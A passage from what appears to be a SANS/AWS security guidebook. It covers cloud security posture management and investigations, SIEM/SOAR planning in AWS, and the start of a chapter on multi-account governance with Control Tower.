investigation.”Kyle Dickinson SANS Instructor & Author Solution Guidance in AWS Solution Guidance in AWSUnderstanding Your Needs When an organization moves to the cloud, the security team needs visibility into its AWS accounts, which can be a complex undertaking. Multiple account strategies are being leveraged by organizations to separate sandbox, development and production accounts, or for sensitive workloads to limit the scope of impact. This approach presents a unique opportunity for organizations to understand how they scale with this growth. Implementation Options in AWS Before jumping into CSPM, review the different implementation options available to you through AWS: SaaS, licensing, managed services and consulting partner opportunities. Once you’ve made the decision on how you want to proceed, you’ll want to build your business case for that implementation option. SaaS Platform Most if not all CSPM platforms are SaaS, which allows security organizations to focus on risk management incident response without the administrative overhead of managing hardware network connectivity and configuration files (with the exception of the limited configuration required for the platform). Licensing Options Obtaining any licenses for a CSPM can be done through multiple channels. One may fit your organization better than another. CSPMs can be licensed through AWS Marketplace, bring-your-own-license (BYOL), and private sales via vendors or channel partners. When licensing a CSPM, determine whether the license count applies to the number of AWS accounts being monitored or the amount of resources within your AWS accounts. Managed Services Managed security service providers (MSSP) can offer implementation of a CSPM into your organization’s environment. An MSSP includes AWS security subject-matter experts, the capability to rapidly integrate existing AWS accounts, and training and customization of the CSPM for your organization. If your organization does not have suitable resources to maintain a CSPM, try leveraging services that can support the initial implementation and cater to the unique aspects of your organization. 305Consulting Partner Private Offers (CPPO) Customers can also engage through CPPO to work directly with trusted advisors to select and configure CSPM solutions from AWS Marketplace. As organizations build out their cloud and cloud security strategy and plan, they may want to consider working with partners to accelerate their efforts or fill any gaps in knowledge or resources that are identified. All consulting partners may extend AWS Marketplace third- party solutions directly to customers through CPPO. Not every organization will be able to find resources with deep cloud experience, and even experienced cloud technologists may have experience only in specific industries or with certain cloud vendors. Needs and Capabilities: The Business Case for CSPM in the Cloud With the shared responsibility model of cloud services, certain methodologies of investigations will differ, and the datasets leveraged also change. With the scalability of AWS, CSPMs will aid investigations, incident response and security operations. In this section, we cover key solutions and capabilities an organization will need to use cloud security posture management resources to assist in conducting investigations in AWS. Business Case for Investigations The need: Provide an organization the capability to conduct inquiries in a methodical manner. Capabilities • Understanding of cloud technologies • Experience in evidence handling and report writing Business Case for CSPM The need: A platform to consolidate a company’s AWS presence Capabilities • Tracks who is making modifications within AWS accounts Solution Guidance in AWS• Performs continuous compliance checks to understand risk being introduced to a cloud footprint • Provides reports for executives • Inventories assets to better understand infrastructure for operations • Provides feedback on risks associated with workloads being developed General CSPM and Investigation Considerations In the growing market of CSPM providers, each has unique capabilities. The following sections address the business, technical and operational aspects to consider when evaluating a CSPM, and how to evaluate your ability to conduct an investigation. CSPM Considerations Regardless of the vendor(s) you choose to use for CSPM, you should review a variety of business, technical and operational considerations. Business Considerations Consideration Data retention Licensing Responsibility Details How long will indexed data from your cloud accounts be stored by the CSPM vendor? Do the retention policies align with your organization’s approach? If you discontinue using the vendor, what will happen to your data in their systems? Evaluate: • Contract language • How data is anonymized for usage outside your tenant Understand the cost associated with bringing a CSPM to your organization and how the CSPM licenses their platform. Evaluate: • Per account monitored • Per resource monitored • Per feature used Because CSPM is a SaaS platform, administrative overhead should be minimal; however, there is still administrative responsibility on the consumer. Evaluate: • Internal knowledge set • Teams that are connected with security efforts 307Operational Considerations Consideration Functionality monitoring Custom alerts Reporting and dashboardsDetails Understand your CSPM provider’s connectivity to your AWS account(s). If the integration fails, it can be detrimental to functionality. Evaluate: • If the communication between a platform and account disconnects, how is the security team notified? • Is there any mechanism to pinpoint the failure for troubleshooting? CSPM tools come with pre-built alerts. However, your organization may have unique use cases requiring custom alerts. Evaluate: • Ease of alert creation • Customization options - Severity - Auto-remediation In order to articulate the security posture, executives may require different reports—or your security organization may have to produce proof of attestation. Understanding whether risk is increasing or decreasing can also aid the security team and developers in understanding any risk being removed or introduced from cloud service providers. Evaluate: • Report customization and generation • Dashboard customization • Ability to export metrics for more granular analytic tools Technical Considerations Consideration Account integration Authentication APIDetails Evaluate how a CSPM authenticates to an organization’s existing cloud footprint to determine whether it introduces risk. What changes must be configured within the account for the platform to function? Evaluate: • Authentication process for a cloud account • Resources that need to be configured for the CSPM to function Secure access to the CSPM, use authentication standards and ensure access can be easily disabled when a user is no longer authorized to access the CSPM. Evaluate: • Federated identity integration • Authentication standards supported (SAML and OpenID, for example) APIs allow for access to functionality and extend CSPMs further by allowing programmatic access to data. Evaluate: • Documentation • Access controls specifically for API access, and access keys • Logging Solution Guidance in AWSInvestigation Considerations As you select the technologies you want to use to conduct an investigation, think through some general business, technical and operational considerations that are associated with investigations in a cloud environment. The following sections highlight many of these considerations. Business Considerations Details When performing an investigation, investigators should understand the organization’s policies in place, and which data they’re allowed to access as part of their investigation. Evaluate: • Company’s acceptable-use policy • Authority to request an investigation Those performing investigations should have a strong understanding of the technical controls in place that they’re able to leverage. Evaluate: • Familiarity of technologies that are involved with the investigation Consideration Legal Organizational Technical Considerations Operational Considerations Consideration Evidence storage Integrity checkingDetails Review where the evidence will be stored and ensure strict access controls. Evaluate: • Access controls to evidence storage • Audit logging availability to understand chain of custody Investigators should be able to verify the integrity of the data to ensure that logs have not been tampered with. Evaluate: • How can you validate the integrity of the data being leveraged for evidence? - AWS CloudTrail integrity validation is an example. Consideration Game daysDetails With the dynamic nature of cloud service providers, investigators should perform dry runs of mock scenarios to keep skills relevant. Evaluate: • Frequency of dry runs • Knowledge gaps 309CSPM Consideration Asset inventory DeploymentDetails To ensure an organization’s ability to manage its security posture, it must have tools available to inventory all running endpoints on AWS accounts. Evaluate: • What services does the CSPM tool evaluate to create an inventory? • Can you view inventory of systems that may no longer exist? When deploying a CSPM system, understand how to continuously integrate it while adding new accounts and maintaining existing ones. Know the overhead required. Evaluate: • What services in the AWS account need to be configured for the CSPM tool to function properly? • How does the CSPM tool authenticate to an AWS account to monitor? • What does the configuration process entail? Consideration Feedback loops for developers Functionality monitoringDetails DevOps principles encourage leveraging feedback loops so development teams can understand what is occurring with their workload. Evaluate: • How can alerts be delivered? • Does the CSPM tool offer integrations to communicate to third-party tools such as a ticketing system, SIEM or data analytics tool? If the integration is failing, you need to understand the functionality of your CSPM provider’s connectivity to your AWS account(s). Evaluate: • If the connection between a platform and account fails, how is the security team notified? • Will any notification tell you which component of ingestion has failed? • If the connection is still active but the CSPM tool is malfunctioning, how can you identify the issue(s)? AWS Implementation Considerations The general considerations discussed so far can help organizations lay the groundwork as well as secure funding and support for CSPM and investigations. Now let’s take a more detailed look at some specific considerations an organization will need to evaluate before implementing these solutions in AWS. Solution Guidance in AWSInvestigations Consideration Evidence storage Integrity checkingDetails Review where the evidence will be stored and ensure strict access controls. Evaluate: • Access controls to evidence storage • Audit logging availability to understand chain of custody Investigators should be able to verify the integrity of the data to ensure that logs have not been tampered with. Evaluate: • How can you validate the integrity of the data being leveraged for evidence? • AWS CloudTrail integrity validation is an example. Making the Choice In summary, the key considerations for conducting investigations and implementing a CSPM solution are: • Reporting • Third-party integrations • Ability to customize alerts • Deployment • Scaling • Vendor support models Automate the Scaling of the CSPM Solution As an organization’s AWS footprint grows, automate: • The deployment of required resources to an AWS account for the CSPM tool to function • The onboarding of the AWS accounts into the CSPM solution This automation will allow the security team and the developers to ensure the CSPM tool’s growth and aid in the success of maintaining visibility into your AWS environment. 311Conclusion CSPM is a crucial step toward securing an organization’s presence in a rapidly changing landscape. Pairing a CSPM with security teams and extending the CSPM for developers to leverage as a feedback loop will enable organizations to begin embedding security into the development process. Keep in mind that when operating in AWS, security becomes everyone’s responsibility—and CSPMs make this process easier. About the Author Kyle Dickinson teaches SANS SEC545: Cloud Security Architecture and Operations and has contributed to the creation of other SANS courses. He is a cloud security architect for one of the largest privately held companies in the United States. As a strategic consultant in his organization, Kyle partners with businesses in various industries to better understand security and risks associated with cloud services. He has held many roles in IT, ranging from systems administration to network engineering and from endpoint architecture to incident response and forensic analysis. Kyle enjoys sharing information from his experiences of successes and failures. Solution Guidance in AWSChapter 24: Solution Guidence for SIEM in AWS “Gone are the days of focused technicians in a darkened lab with a table full of terminals located somewhere deep below the data center. Thankfully, simple logging and manual reviews by a roomful of techs have morphed into more automated processes. With SIEM systems, logs are now normalized and collected in a central location for analysis. As SIEMs have matured, more automatic alerting, and even reactions to events, have moved us into the security orchestration and automated response (SOAR) world—or as it’s also known in some circles, SIEM on steroids. Currently, according to Gartner, “Analytics are a core capability of all SIEM solutions.”1 Analytics and response are what SOAR is all about. At its most basic level, the SIEM is defined by NIST as an “[a]pplication that provides the ability to gather security data from information system components and present that data as actionable information via a single interface.”2 Adding SOAR integrates additional data feeds, correlation, analysis and automated functions based on identified incidents, indicators, events and threats. In addition to SIEM log collection, some added data feeds for a SOAR system would likely include endpoint management system alerts, threat and vulnerability data from third parties (for example, STIX/TAXII feeds), and help desk and collected forensics data, all to be correlated with the SIEM data. Once that data is analyzed, remediation or other actions can automatically J. Michael Butler SANS Analyst & Author 1“Critical Capabilities for Security Information and Event Management,” www.gartner.com/doc/reprints?id=1-5VGL - BIM&ct=181129&st=sb 2Computer Security Resource Center Glossary, https://csrc.nist.gov/glossary/term/Security-Information-and-Event-Manage - ment-Tool Solution Guidance in AWS 313take place for those issues identified by the organization as reliably founded and actionable. The questionable issues can be referred to the SOC (security operations center) for further analysis as needed. In this paper, we discuss needs, implementation options, capabilities, and various considerations for organizations seeking to implement SIEM/SOAR capabilities in Amazon Web Services (AWS). We discuss the integration of SIEM and SOAR in the cloud environment and how that compares to on-premises use. What does a cloud use case look like? What are the differences between cloud and on-premises deployments? Then we offer suggestions for planning integration of SIEM and SOAR into an AWS cloud environment in the way that is most beneficial to an organization. We hope to help organizations evaluate the options and make the best choice.” Solution Guidance in AWS “[SIEM] provides the ability to gather security data from information system components and present that data as actionable information via a single interface.”Understanding Your Needs First, consider what technology your organization needs to adequately collect, analyze and react to SIEM data. If your organization can already determine the actionable events or incidents in the existing environment with current tools, the temptation may be to try to adapt those tools to the cloud or vice versa. In that case, be sure to review the security offerings available in the cloud that can improve on what the on-premises solutions offer. New features offering enhancements or alternatives for an on- premises system are being added regularly to the cloud. After a careful determination of your organization’s feature and function requirements, present those requirements to your vendors and start the discussions about what you need to make it all work. Look at the new technologies that may be needed. Be certain to review existing gaps and what it would take to eliminate them. Be wary of the “gotchas” that will require (possibly significant) resource investments, such as additional subscription fees, personnel and training, and ongoing costs such as annual software maintenance fees. Also consider growth to scale and requirements to enable that growth, and, conversely, the ability to shrink to scale. Cloud environments make it easier to scale up and shrink down resources in response to users’ needs. This is especially useful for organizations that experience seasonal change. The organization should have a long-range plan to budget for implementation, ongoing operations, and hardware and software maintenance. No one needs one more software package to sit on the shelf without providing value. As the SIEM/SOAR project moves forward, revisit requirements regularly to make sure the organization’s incident response needs are being met. Figure 1 illustrates the process. 315In the SANS 2019 Cloud Security Survey, 75% of the respondents reported using as many as 10 cloud providers for all operations, and 3% of the respondents said they use more than 100 providers!3 If your organization has multiple cloud providers, consider the need for SIEM/SOAR tools to be capable of accumulating and analyzing data from all of the cloud environments in use. This functionality is particularly needed if the organization has communication or network channels set up between multiple environments, causing incidents in one environment to have an undesirable impact on another. Implementation Options in AWS If your organization is thinking of leveraging current on-premises technologies for SIEM and SOAR as you move to the AWS cloud, be sure to take note of the new cloud-native solutions that were not previously available. As of this writing, AWS Security Hub, which provides compliance data, security alerts and security findings, is now generally available. Many desirable SIEM features are now native options in the AWS cloud. It is also important to note that third-party providers, including AWS partners Splunk and Sumologic, have already integrated with AWS Security Hub. Determine Requirements Analyze Growth NeedsEvaluate Existing Tools for Migration to CloudCreate a Long-Term PlanRepeat Process Periodically Review Gaps in Coverage and How to Close Them Figure 1. Process for Understanding Your Needs 3“SANS 2019 Cloud Security Survey,” www.sans.org/reading-room/whitepapers/cloud/paper/38940 (registration required) Solution Guidance in AWSCloud-Optimized Consider the cost delta between using the cloud solutions versus the on-premises tools, as well as the costs for the significant storage requirements of SIEM/SOAR data in the cloud versus on premises. Also look at the license fees to be paid for the solution your organization needs versus any on-demand licensing available through AWS for access to its solution partners. At the very least, the cloud-native options can enhance other tools the organization uses, whether the SIEM data is stored in the cloud or on premises. One advantage of working with off-premises options is the clearer pricing models when compared to running everything on premises. Many cost factors in the data center have to be included if the organization is to get a true picture of the total cost of ownership (TCO). For example, how much is being paid for CPU cycles, mass storage, power requirements, HVAC requirements, facility space, hardware, software, licensing, maintenance, upkeep, personnel and other hidden costs in on-premises environments? On the other hand, the pricing models will be much clearer from cloud providers, and TCO is more easily determined in the cloud. Managed Services Managed services are also an option, of course. If the organization does not have in-house expertise or resources, consider a third-party firm that can manage the SIEM/SOAR solution(s) of choice. It ultimately boils down to the requirements of the organization, the most efficient way(s) to meet those requirements and available budget. It may even be practical to start with managed services with a view to transitioning to an internal team over time. That way the organization can see a more immediate return on its investment in SIEM and SOAR while building out its systems and acquiring the needed resources and training to bring its program up to speed. Starting with managed services will mean more up-front cost but also much faster implementation and maturity. Consulting Partner Private Offers Customers can also engage through Consulting Partner Private Offers (CPPO) to work directly with trusted advisors to select and configure SIEM/SOAR solutions from AWS Marketplace. As organizations build out their cloud and cloud security strategy and plan, they may want to consider working with partners to accelerate their efforts or fill any gaps in knowledge or resources that are identified. All 317consulting partners may extend AWS Marketplace third-party solutions directly to customers through CPPO.5 Not every organization will be able to find resources with deep cloud experience. Even experienced cloud technologists may have experience only in specific industries or with specific cloud vendors. A requirements document could be helpful when approaching prospective consultants. Needs and Capabilities: The Business Case for SIEM and SOAR in the Cloud Among the features that cloud architecture offers for SIEM and SOAR that an on-premises system cannot is visibility across multiple environments in different availability zones or regions. Such visibility could be even more important for global organizations. Consider also that the redundancy of the cloud practically guarantees reliable uptime, which is not available to an organization internally without great expense and multiple data centers. Then factor in the ability of the cloud provider to offer pricing based on dynamic workloads and short life cycles, where entire environments can be spun up and shut down in a matter of minutes—again, not something a typical data center can provide to an organization. Even leveraging on-premises virtual hosts doesn’t offer as much flexibility, especially compared to serverless implementations in the cloud. Needs and Capabilities Organizations require a lot of their SIEM/SOAR systems. SIEM/SOAR The need: Aggregating log events and security information from multiple systems, collecting data about threats and automatically responding to low-level security events without human intervention Capabilities • Security threat and incident detection • Bidirectional feeds with Amazon Security Hub Increased efficiencies • Analytics and alerting • Detailed drill-down compliance reporting 5AWS Marketplace Channel Programs, https://aws.amazon.com/marketplace/partners/channel-programs Solution Guidance in AWS• Increased efficiencies for physical and digital security operations • Event and threat intelligence correlation For incident response functions, SOAR supplements SIEM and helps to: • Define • Prioritize • Standardize • Automate6 General Cloud SIEM and SOAR Considerations Regardless of the SIEM/SOAR technology or cloud vendor selected, some general business, technical and operational considerations are associated with implementing security in the cloud. The following sections highlight many of these considerations. Business Considerations Consideration Policies and standards Governance model Reporting and metrics Funding and support Risk classificationDetails Organizations will need to evaluate cloud capabilities to determine what changes are needed to ensure that compliance with policies and standards is achievable. Organizations should evaluate relevant retention policies for collected log data. They should determine what happens if a matter becomes litigious and a legal hold on certain data is necessary, as well as where and how data will be held in a secure state for the period of the legal hold. Organizations need to decide whether to centralize or decentralize governance over cloud incident response and determine whether existing governance models used for traditional incident response can be extended to the cloud or if a cloud-specific model is required. Consider that cloud workloads can more easily span the globe and that data residency and visibility restrictions may apply in certain regions. Providing the right metrics, key performance indicators (KPIs) and key risk indicators (KRIs) to the right stakeholders may require changes to account authorization for cloud architectures. Organizations will need to define reporting requirements specific to cloud workloads and evaluate features and products against these requirements. Funding and support for cloud SIEM and SOAR implementations may not currently be available. Management may not understand the shared responsibility model as it pertains to cloud usage and may assume that all needed features of SIEM and SOAR are included. Management will need to be educated to understand the implementation model and the related requirements as it determines the appropriate funding and support model. Acceptable risk vs. mitigated risk vs. transferred risk (NIST 800-30) is a consideration when determining what action(s) should or should not take place upon discovery of an incident or potential incident. The organization will need to determine the risk of automatically responding to SIEM alerts in an orchestrated manner as opposed to sending certain alerts to a manual queue or ignoring certain alerts altogether. 6 Tech Target, https://searchsecurity.techtarget.com/definition/SOAR 319Technical Considerations Operational Considerations Consideration SIEM capabilities Supported technology Agent-based technologies Near-real-time logging and response Secure communicationDetails As organizations update policies and standards to address cloud workloads, they should also identify the technologies needed to comply with these new requirements. Some organizations may choose to be very prescriptive about which technologies should be used, while others may define the required capabilities and allow individual cloud operations teams to select their own technologies. Some technologies may not be supported for all cloud services or for all platforms running on cloud services. Organizations need to decide whether they will allow unsupported technologies, and if so, under what conditions. No matter how lightweight, agent-based technologies decrease performance. In the cloud, they increase costs. Organizations may have a restriction on the number of agents that can be installed on each cloud resource. Determine how many security agents are already in place to decide whether a limit increase will be necessary. Any specific overhead allowance for agents should be evaluated during any proof of concept. Consider agentless technology options to preserve resources. Logging is, or is near, real time. Organizations must determine their communication speeds and requirements. Organizations need to decide whether (near) real-time detection and response is required based on their cloud architecture. Consider data to be logged and storage requirements and location(s). As log data is collected by the SIEM and forwarded to SOAR, all communications must be secure, verifiable, immutable and forensically sound . Consideration Operational responsibility and model Monitoring and response Processes and proceduresDetails Operation of cloud resources is substantially different from the operation of traditional infrastructure, and that may affect who is responsible for implementing and configuring SIEM and SOAR capabilities. Organizations need to decide how best to implement and configure SIEM and SOAR technology, and which group(s) will be responsible for these tasks. Multiple teams may be involved, such as the identity management group, AWS architecture and administration group(s) and SIEM/SOAR admins. Determine whether operations should be centralized or decentralized, on premises or in the cloud. While implementation and configuration of SIEM and SOAR capabilities may be assigned to an existing cloud operations team, monitoring may be the responsibility of others, and response may be assigned separately. Organizations need to determine who will be responsible for monitoring and responding to endpoint security events. Will it be a centralized group, or does it make sense to separate out certain response functions to existing silos? Organizations may have specific processes and procedures for dealing with security events related to their traditional on-premises infrastructure. It is likely, however, that these processes and procedures will be different in the cloud. Organizations need to create new operational processes and procedures for SIEM and automated incident response in the cloud. Solution Guidance in AWSAWS Implementation Considerations The general considerations discussed so far can help organizations lay the groundwork as well as secure funding and support for SIEM/SOAR functionality in the cloud. Now let’s take a more detailed look at some specific considerations an organization will need to evaluate before implementing these solutions in AWS. SIEM continues to mature, especially with the addition of analytics that allow for orchestration and automation (SOAR). Along with events and logs needed for SIEM and SOAR functionality normally being fed into Amazon-native tools, threat intelligence is also introduced to the AWS environment. Amazon GuardDuty provides additional monitoring and alerts for known threats. Such native AWS services help provide data for analytics. This analysis then leads to the needed detection of threats based on anomalous behavior known to be common to certain malicious activities. In the considerations we have already enumerated, an organization can begin to determine budget and resource needs for implementing or enhancing SIEM and SOAR technologies. Let’s take a look at considerations specifically related to SIEM and SOAR. Consideration Cloud context supportDetails Due to the dynamic nature of the cloud, a resource that existed a few hours ago may not exist right now. Because SOAR technologies perform analysis of data or binaries external to the resource itself, there is a chance that when SOAR analysis is completed, the resource may no longer exist. Evaluate: • The flexibility for extension of log collections to include context • The additional cloud context (tags or image IDs, for example) that is captured, retained and used by SIEM and SOAR technology to allow correlation of findings and behavior with resources • The special concerns associated with studying resources that have potentially replaced the original resource from which data was gathered • The ability to ensure immutable accuracy with date/time stamps from all sources SIEM technologies typically send data and binaries to separate SOAR systems or to the vendor’s cloud infrastructure to perform analysis. Depending on the cloud regions in use, the transfer of data and binaries to different systems could affect technology performance as well as cost. 321 Consideration Bandwidth and latency Logging sources— general Logging sources—AWS Logging sources— endpointsDetails SIEM technologies typically send data and binaries to separate SOAR systems or to the vendor’s cloud infrastructure to perform analysis. Depending on the cloud regions in use, the transfer of data and binaries to different systems could affect technology performance as well as cost. Evaluate: • The architecture of the tools under consideration • The amount of data that will be transferred and where the data is being transferred from and to • Potential impacts on cost and performance due to bandwidth • Performance impact of latency between cloud regions and other relevant resources Centralized logging may include events from any or all of the following sources (these logging source lists should not be considered all-inclusive, given that requirements for events to log will vary in different organizations): • Host level • Operations • Security • Application • Firewall • DHCP • DNS Evaluate: • Which of the systems will be logged, and which events from those systems. This evaluation helps determine the space requirements for logs. • Storage; set up expandable elastic storage in case of a significant incident that fires off a large number of events. • Interfacing options with Amazon CloudWatch • Long-term storage; leverage Amazon S3 Glacier for long-term storage or overflow storage of logs, especially when review of particular logs may seldom be necessary. AWS CloudTrail offers logging of AWS-specific logging as well as logging common to any environment. • AWS CloudTrail – Security logs – Audit logs – VPC flow logs – API calls Evaluate: • Regulatory requirements • Retention requirements • Space requirements • Audit requirements • Amazon S3 Glacier for long-term storage or overflow Endpoint tools and systems can feed logs to factor into the SIEM and SOAR, tying events together from servers and workstations with data collected from the host environment, network device, and other sources to provide a robust super-timeline related to incidents. Such timelines can paint a clear picture of the incident from birth to death and help with containment and eradication as well as lessons learned to avoid recurrence in the future. • Help desk tools • Asset management systems • Malware • Proxy data Evaluate: • Which events will be logged • The ability to manage date/time accuracy with the Network Time Protocol for the environment Solution Guidance in AWS Consideration Logging sources— security Incident response ReportingDetails Sophisticated security tools, especially those responsible for managing credentials, offer log entries to track such activities in detail. In addition, the origins of threat and vulnerability data, whether open source or commercial, should be factored into the SIEM for review and analysis. • Identity management tools • Credential secure storage • Vulnerability data • Threat data Evaluate: • Granularity of logging • Reputation of threat and vulnerability data feeds • Multifactor requirements for access to such powerful tools Incident response (IR) will use the collected logs in the SIEM to determine when an event should be elevated to incident status. Once an incident is established, the IR team must determine an appropriate response. With the addition of SOAR, well-defined incidents can be contained automatically. The remaining incidents must be reviewed manually by some assigned security operations team for working through an established model, such as NIST SP 800-61. (See Figure 2.) • Automatic response • Manual response and intervention Evaluate: • How much manual response is needed? • What is the skill level needed to handle the manual response issues? • What alerts are based on events that are reliable indicators of incidents upon which action can immediately and automatically take place? • Can those incidents be separated from incidents that require further analysis before action can take place? Reporting is one of the more important aspects of any SIEM/SOAR implementation. Reports will be used by technicians to help determine how to quickly identify and contain an incident as well as for determining the best strategy for eradication of the incident. Reports also document lessons learned to help eliminate or minimize recurrence. Reporting will have different audiences, all of which need the data communicated in the way most relevant for them. Those working in the areas of management, legal and compliance, for example, tend to have less technical backgrounds, so the approach and the language need to be different than a report intended for a database administrator or a web application programmer. • Analytics • Dashboards • Management • Compliance • Legal Evaluate: • What are the requirements from management, legal, compliance, security, operations and other teams for necessary reports to assist with evaluation of each area’s gaps and to help them complete their tasks? • What report mechanisms and documentation will help pinpoint needed actions? • Are there reports that help with “lessons learned” meetings to reduce repeat occurrences? 323Moving SIEM and SOAR to AWS requires the granular evaluation of impact on what needs to be logged. If the information, including context, is not complete enough to be actionable, it is of no use. Speed is also important. Ingestion of events, analysis of events, and alerting or automatic reactions to alerts all need to happen as close to real time as possible. Having all the pertinent data in one location with more-than-adequate CPU cycles, memory, storage space and bandwidth provides an advantage for response speed and resiliency. The other speed factor has to do with sourcing of the logged information. The sourcing will vary between organizations depending on how they utilize on-premises systems versus cloud systems and the connectivity between the two. AWS offers communication “pipes” through AWS Direct Connect that allow up to 10GB connectivity for getting the data from the organization to the cloud and back. Next, determine the sources providing log feeds to the SIEM. Finally, after analysis, determine what responses can be automated and what kind of alerting and reporting are necessary. 7NIST, Computer Security Incident Handling Guide, https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf Figure 2. Continuous Integration Process7 Making The Choice To summarize, the key considerations for implementing SIEM and SOAR in AWS include: • Resources • Cloud context Solution Guidance in AWS• Efficiency • Ease of use • Integration requirements • Availability of built-in tools • Time to alert and reaction Have a plan Pull together resources from the appropriate teams; management, architecture, operations and information security are all important to the discussion. Determine the desired results from a SIEM system in the environment, then specify the requirements that will provide those results. Separate the “must haves” from the “nice to haves” and share that with the relevant vendors. Don’t forget to discuss the requirements with every relevant cloud vendor, such as any off-premises vendors used for HR, legal, change management, security threat and vulnerability management, or any other outsourced functions, in addition to the major cloud providers, such as AWS. You must make decisions about what events from which systems must be included in the logs collected for analysis. How granular will the collections need to be in order to meet legal, regulatory, contractual and policy requirements? Don’t forget to determine what events do not need to be collected, because every additional event collected will have an effect on data storage and a resulting cost. Lastly, put together a team of subject-matter experts to decide what collection of events is a reliable positive indicator to trigger automatic response. Determine what the response(s) should be and put together a plan to refine and update those as needed on an ongoing basis. Consider Partners An organization should consider using CPPO partners who can accelerate integration of SIEM and SOAR into or with the cloud. As already mentioned, using a third-party vendor to manage the implementation provides the benefit of a quicker ROI and helps bring the organization up to speed operationally. Budgeting for adequate training is also crucial. SIEM/SOAR team members can gain some experience while working alongside partners. Consider the plethora of training videos and courses available from SANS and AWS and their partners that can lead to certification of the technical staff who will manage the cloud implementations. Make sure the partners you choose have a strong background in cloud use and/or consulting. 325Don’t overlook your cloud provider as a potential partner in achieving success as an infrastructure provider consultant. Speak to your chosen cloud provider to understand which SIEM providers work closely with them. Ask which have achieved security competency and thus are recommended by AWS for cloud environments, for example. Conduct a Proof-of-Concept Test and Evaluate Options for Desired Features Your choices must provide the results you expect, or get as close as is reasonably possible. The best way to see how close a vendor comes is to perform a proof-of-concept test. Fortunately, when working with the cloud, services and environments can be spun up temporarily for just such testing. Determine the services you need from the AWS Security Hub, for example, and test the capabilities online. Research which services and systems are available for free testing from AWS and take advantage of those options. Your organization needs to know what to expect from the options it chooses and determine whether those results will add value. Conclusion Back to our underground lab full of techies staring at multiple screens: With an adequately funded and implemented analytical SIEM system, supplemented by orchestration and automation (SOAR), security personnel will be spending less time hunting for evil and more time remediating the issues that cause the alerts. In an ideal world, many lower-level incidents will be handled automatically, freeing up personnel to address the more challenging issues that often present greater risk. With SIEM and SOAR in the AWS cloud, the data center resource needs are handled by AWS. The hardware and everything needed to keep it running are no longer a concern for the organization, freeing up personnel and financial resources for other needs. To get there, many decisions must be made. See Figure 3 for questions to address. This paper provides talking points and direction for an organization that wants to move down a decision path. Hopefully, these choices will lead to a quicker implementation of the tools that fit best and provide the best return on investment. Solution Guidance in AWSThrough this evaluation process, look at the features and functionality available from AWS. Many aspects of SIEM collection, analysis and SOAR implementation are already baked into the AWS environment. Careful consideration should be given to the cost delta between leveraging the features and functionality (including AWS partner options) in AWS, as compared to the local data center and its resources. What software tools currently in use on premises will continue to have value alongside the new options available from AWS or its partners?Will the organization move its critical logging, analysis, alerting and mitigation activities into the cloud for all environments? Are there sufficient resources in the organization to train up and manage these “new” tools?How much is the organization willing to budget for ongoing support of these systems? Figure 3. Questions for Cloud vs. On-Premises About the Author J. Michael Butler is a SANS analyst who has also written SANS security training courseware and audited certification test questions; presents thought-provoking webcasts; and writes position papers, articles and blogs. He is an information security consultant with a leading provider of technical services for the mortgage industry, where he is involved in migration of assets to the cloud. Mike’s responsibilities have included computer forensics, incident response, enterprise security incident management planning, internal auditing of information systems and infrastructure, information security policies, service delivery and distributed systems support. He holds the GCFA, GCIH, CISA, GSEC and EnCE certifications. 327Introduction To stay competitive, organizations must innovate faster and operate more efficiently. IT is under pressure to simplify their end-to-end IT lifecycle management, support business agility, and empower builders to be more agile while maintaining a high security bar. Organizations understand that security in a cloud environment is their top priority and they have adopted plenty of security tools. However, they sometimes struggle to define a strategy to make sure the tools are consistently deployed in their AWS environments. Most, if not all, enterprise organizations have more than one AWS account. Defining a standard security baseline, such as best-practices configurations for AWS services and security tools, on top of resources that need protection, is a complex task for security teams. On top of this, they also need to make sure that standard security baseline is enforced throughout the many accounts they have. AWS offers a set of management and governance services to help our customers improve business agility and maintain governance control. When IT and security teams deploy management and governance services on AWS, they can support innovation, unclog provisioning bottlenecks, improve their security and compliance posture, enhance operational efficiency, and reduce costs. There are 16 management tools in the AWS console, including Amazon CloudWatch, AWS CloudFormation, AWS CloudTrail, and AWS Config. Three of them should be considered when organizations adopt security for a multi-account strategy: AWS Control Tower, AWS Service Catalog, and AWS Marketplace. Why is this relevant? As organizations grow in the use of AWS, these services become critical in establishing the right level of control over their environment without slowing down innovation. Governance is woven into all three aspects of Enable, Provision, and Operate. AWS’ full suite of services Nam Le Senior Partner Solutions Architect, AWS Marketplace Chapter 25: How to develop a scalable security strategy in a multi-account environment in AWS Prioritizing Security Controls in AWS Prioritizing Security Controls in AWScan help you build a foundation for end-to-end lifecycle management, security, and governance control. There is also a large catalog of complementary third-party solutions you can use to extend and integrate with native services. Organizations should adopt Control Tower to establish their multi-account framework with the right security guardrails in place. With Control Tower, organizations can enable users to find, buy, and immediately start using software from AWS Marketplace to run in AWS environments. To gain further control, and provide consistency to the software running in their multi-account Control Tower, they should integrate Private Marketplace, which allows organizations to curate their own digital catalog to include only approved third-party software. The curated list of third-party solutions and pre-configured, approved AWS services can then be presented to the users via AWS Service Catalog. A successful security strategy relies on effective governance from the start Organizations invest a lot of effort into choosing the right security tools, either AWS-native security services, such as Amazon Macie, or third-party tools. How do they make sure that these tools are properly, and more importantly, automatically deployed into every AWS account or application on AWS? As part of business operations, accounts are created and deleted dynamically. Thus, keeping a consistent security posture can be challenging. Organizations should start with adopting Control Tower as their governance service. Control Tower enables you to set up an AWS landing zone, centralize identity and access, and establish guardrails for security, compliance, and operations. It also helps automate account provisioning and manage these accounts continuously over time to help you meet your compliance goals. A guardrail is a familiar concept for security teams. Having the right guardrails in place can help organizations meet their security policies and their prospective industry compliance. Besides guardrails for native AWS services (e.g., no public access for any Amazon S3 bucket, require Multi-Factor Authentication), they can build guardrails for their third-party tools (e.g., every time a new account is provisioned, it will have their security tools enabled and configured to work in their environment immediately after launch). Control Tower has the mechanism to help security teams automate tool deployments. 329When cloud engineering teams receive a request to provision a new account, instead of waiting for the account creation to finish, and then immediately jumping on it to install and configure third party tools, they can leverage AWS Control Tower Life Cycle Event to automate execution of customizations specific to their organizations. These customizations include creating IAM roles to auto-integrate with the third-party products, automate enabling services like Amazon VPC Flow Logs, Amazon GuardDuty, AWS Security Hub, and much more, as illustrated in the architecture diagram below. Enterprise software procurement should be done securely Organizations have an extensive list of software solutions they need to conduct their business. Many utilize the AWS Marketplace to procure software to speed up their time-to-deployment, test out new tools, or have all of their spend in one consolidated bill. Making software accessible to everyone within the organization sounds attractive to users, but can raise some concerns with IT and security teams. There are many questions that need to be addressed, such as: • How do they make sure the software is compatible with critical applications? • How do they control spending on 